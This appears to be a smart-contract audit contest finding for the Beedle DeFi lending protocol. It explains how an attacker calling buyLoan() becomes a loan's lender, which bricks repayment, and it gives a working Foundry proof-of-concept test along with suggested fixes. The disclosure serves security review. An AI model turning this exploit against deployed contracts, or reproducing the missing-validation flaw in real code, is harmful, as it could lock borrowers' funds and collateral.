Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can permanently brick repayment of auctioned loan

Dacian

Summary

Attacker can become loan.lender by buying an auctioned loan on behalf of another lender's pool, permanently bricking the ability to repay that loan in the future.

Vulnerability Details

  • Lender.buyLoan() never validates that msg.sender is the lender of the pool, so an attacker who is not a lender can call Lender.buyLoan() to buy a loan on behalf of a lender's pool. This appears to be by design so by itself this is not a bug but the next point is the key:

  • In L518 loans[loanId].lender gets set to msg.sender (the attacker's address), which will brick Lender.repay() as the call to getPoolId uses loan.lender to find the correct pool, which will fail as the attacker has become loan.lender and the attacker is not a lender of any pool.

Proof of concept: first add the following helper function to Lender.sol:

// added for audit contest proof of concept
function getLoanLender(uint256 loanId) external view returns (address lender) {
return loans[loanId].lender;
}

Then add the PoC to test/Lender.t.sol:

function test_attackerBuyLoanBrickRepay() public {
// first copy the setup from test_buyLoan()
// * START COPIED SETUP * //
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
​
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
​
lender.startAuction(loanIds);
​
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
​
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
​
// * END COPIED SETUP * //
// stop lender2 prank; here we start to deviate from
// the previously copied setup
vm.stopPrank();
​
// attacker is not a lender & has no pool
address attacker = address(0x1337);
vm.prank(attacker);
lender.buyLoan(loanIds[0], poolId);
​
// attacker has now become the loan's lender as
// repay() sets the new lender to msg.sender
assertEq(attacker, lender.getLoanLender(loanIds[0]));
​
// the loan is now impossible to repay: since the attacker
// has been set as loan.lender, the call to getPoolId()
// in Lender.repay() which uses loan.lender as a parameter
// will fail to find the correct pool, as the attacker is not
// a lender and has no pool
vm.startPrank(borrower);
​
loanToken.mint(address(borrower), 10000*10**18);
​
vm.expectRevert();
lender.repay(loanIds);
​
// the loan is now permanently bricked and can't be repaid
}

Impact

Loan is permanently bricked and can never be repaid as attacker has become loan.lender.

Tools Used

Manual

Recommendations

Two options:

  1. Lender.buyLoan() can validate that msg.sender is the pool's lender. This would stop anyone from matching an auctioned loan with a pool, so according to the system design this is not a great option,

  2. Change L518 to set loans[loanId].lender to pools[poolId].lender instead of msg.sender. This preserves the system design that anyone can match an auctioned loan with a pool so this is the better option.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.